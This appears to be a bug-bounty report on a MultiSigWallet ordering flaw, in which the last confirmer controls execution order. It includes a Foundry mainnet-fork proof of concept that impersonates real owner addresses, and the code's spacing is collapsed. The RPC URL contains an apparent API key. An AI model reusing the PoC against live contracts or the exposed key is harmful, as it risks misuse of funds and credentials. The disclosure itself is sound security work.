The execution of MultiSigWallet is parallel, and as long as the number of confirmations meets the requirements, the transaction can be executed directly. In other words, the last confirmer can control the execution order of all transactions.
This is the 1st, 2nd, and 3rd transaction executed on the mainnet:
As you can see, their execution order is opposite to the submission order. It all depends on the confirmation order of the last confirmer (0xC715b8501039d3514787dC55BC09f89c293351e9).
Impact
The impact depends on the actual transaction content and the current impact is potential. But since MultiSigWallet is a high-privilege address, I think it is a Medium level.
Risk Breakdown
Difficulty to Exploit: Hard
Recommendation
Each transaction sets a pre-transaction, and the transaction can only be executed after the pre-transaction is completed.
References
Proof of concept
// SPDX-License-Identifier: UNLICENSEDpragmasolidity ^0.8.13;import"forge-std/Test.sol";// main fork urlstringconstant MAINNET_RPC_URL ="https://eth-mainnet.g.alchemy.com/v2/TrnSBL14bW3BaXavojgbw69L0ZK2lbZ_";uint256constant MAINNET_BLOCK_NUMBER =18614000;// contract addressaddressconstant ADDRESS_CONTRACT_ExchangeV3 =address(0x9C07A72177c5A05410cA338823e790876E79D73B);addressconstant ADDRESS_CONTRACT_MultiSigWallet =address(0x2028834B2c0A36A918c10937EeA71BE4f932da52);addressconstant ADDRESS_CONTRACT_WETH =address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);// user addressaddressconstant ADDRESS_USER_Attacker =address(0xAACE);addressconstant ADDRESS_USER_USER1 =address(0xACC1);addressconstant ADDRESS_USER_USER2 =address(0xACC2);addressconstant ADDRESS_USER_ExchangeV3Owner =address(0x9b93e47b7F61ad1358Bd47Cd01206708E85AE5eD);addressconstant ADDRESS_USER_MultiSigWalletOwner1 =address(0xf5020ADf433645c451A4809eac0d6F680709f11B);addressconstant ADDRESS_USER_MultiSigWalletOwner2 =address(0xeD530f3b8675B0a576DaAe64C004676c65368DfD);addressconstant ADDRESS_USER_MultiSigWalletOwner3 =address(0xB7093FC2d926ADdE48122B70991fe68374879adf);addressconstant ADDRESS_USER_MultiSigWalletOwner4 =address(0xC715b8501039d3514787dC55BC09f89c293351e9);addressconstant ADDRESS_USER_MultiSigWalletOwner5 =address(0x6EF4e54E049A5FffB629063D3a9ee38ac27551C8);addressconstant ADDRESS_USER_MultiSigWalletOwner6 =address(0x3Cd51A933b0803DDCcDF985A7c71C1C7357FE9Eb);interface IExchangeV3 {functionregisterToken(address tokenAddress) externalreturns (uint32);}interface IMultiSigWallet {functionremoveOwner(address owner) external; function submitTransaction(address destination, uint value, bytes memory data) external returns (uint transactionId);
functionconfirmTransaction(uint transactionId) external;functiongetOwners() externalviewreturns (address[] memory owners);}contractYttriumzzDemoisTest { IExchangeV3 exchangeV3; IMultiSigWallet multiSigWallet;functionsetUp() public { vm.selectFork(vm.createFork(MAINNET_RPC_URL, MAINNET_BLOCK_NUMBER)); exchangeV3 =IExchangeV3(ADDRESS_CONTRACT_ExchangeV3); multiSigWallet =IMultiSigWallet(ADDRESS_CONTRACT_MultiSigWallet);// as gas fee vm.deal(ADDRESS_USER_Attacker,1ether);// vm.deal(ADDRESS_USER_USER1, 1 ether);// vm.deal(ADDRESS_USER_USER2, 1 ether); vm.deal(ADDRESS_USER_ExchangeV3Owner,1ether); vm.deal(ADDRESS_USER_MultiSigWalletOwner1,1ether); vm.deal(ADDRESS_USER_MultiSigWalletOwner2,1ether); vm.deal(ADDRESS_USER_MultiSigWalletOwner3,1ether); vm.deal(ADDRESS_USER_MultiSigWalletOwner4,1ether); vm.deal(ADDRESS_USER_MultiSigWalletOwner5,1ether); vm.deal(ADDRESS_USER_MultiSigWalletOwner6,1ether); }functiontestYttriumzz0002() public {// The POC assumes the following scenario to reveal the impact of execution order:// Execute1 transfer 0.5ETH to User1// Execute2 to transfer the remaining wallet to User2// Expect User1 and User2 to receive 0.5 ETH each vm.deal(ADDRESS_CONTRACT_MultiSigWallet,1ether);// Execute1 vm.startPrank(ADDRESS_USER_MultiSigWalletOwner1);uint transaction1Id = multiSigWallet.submitTransaction(ADDRESS_USER_USER1,0.5ether,""); vm.stopPrank(); vm.startPrank(ADDRESS_USER_MultiSigWalletOwner2); multiSigWallet.confirmTransaction(transaction1Id); vm.stopPrank(); vm.startPrank(ADDRESS_USER_MultiSigWalletOwner3); multiSigWallet.confirmTransaction(transaction1Id); vm.stopPrank();// Execute2 vm.startPrank(ADDRESS_USER_MultiSigWalletOwner1); uint transaction2Id = multiSigWallet.submitTransaction(ADDRESS_USER_USER2, address(multiSigWallet).balance, "");
vm.stopPrank(); vm.startPrank(ADDRESS_USER_MultiSigWalletOwner2); multiSigWallet.confirmTransaction(transaction2Id); vm.stopPrank(); vm.startPrank(ADDRESS_USER_MultiSigWalletOwner3); multiSigWallet.confirmTransaction(transaction2Id); vm.stopPrank();// The Owner4 control the execution order vm.startPrank(ADDRESS_USER_MultiSigWalletOwner4); multiSigWallet.confirmTransaction(transaction2Id); multiSigWallet.confirmTransaction(transaction1Id); vm.stopPrank();// Result console.log("User1 balace: %s", ADDRESS_USER_USER1.balance); console.log("User2 balace: %s", ADDRESS_USER_USER2.balance); }}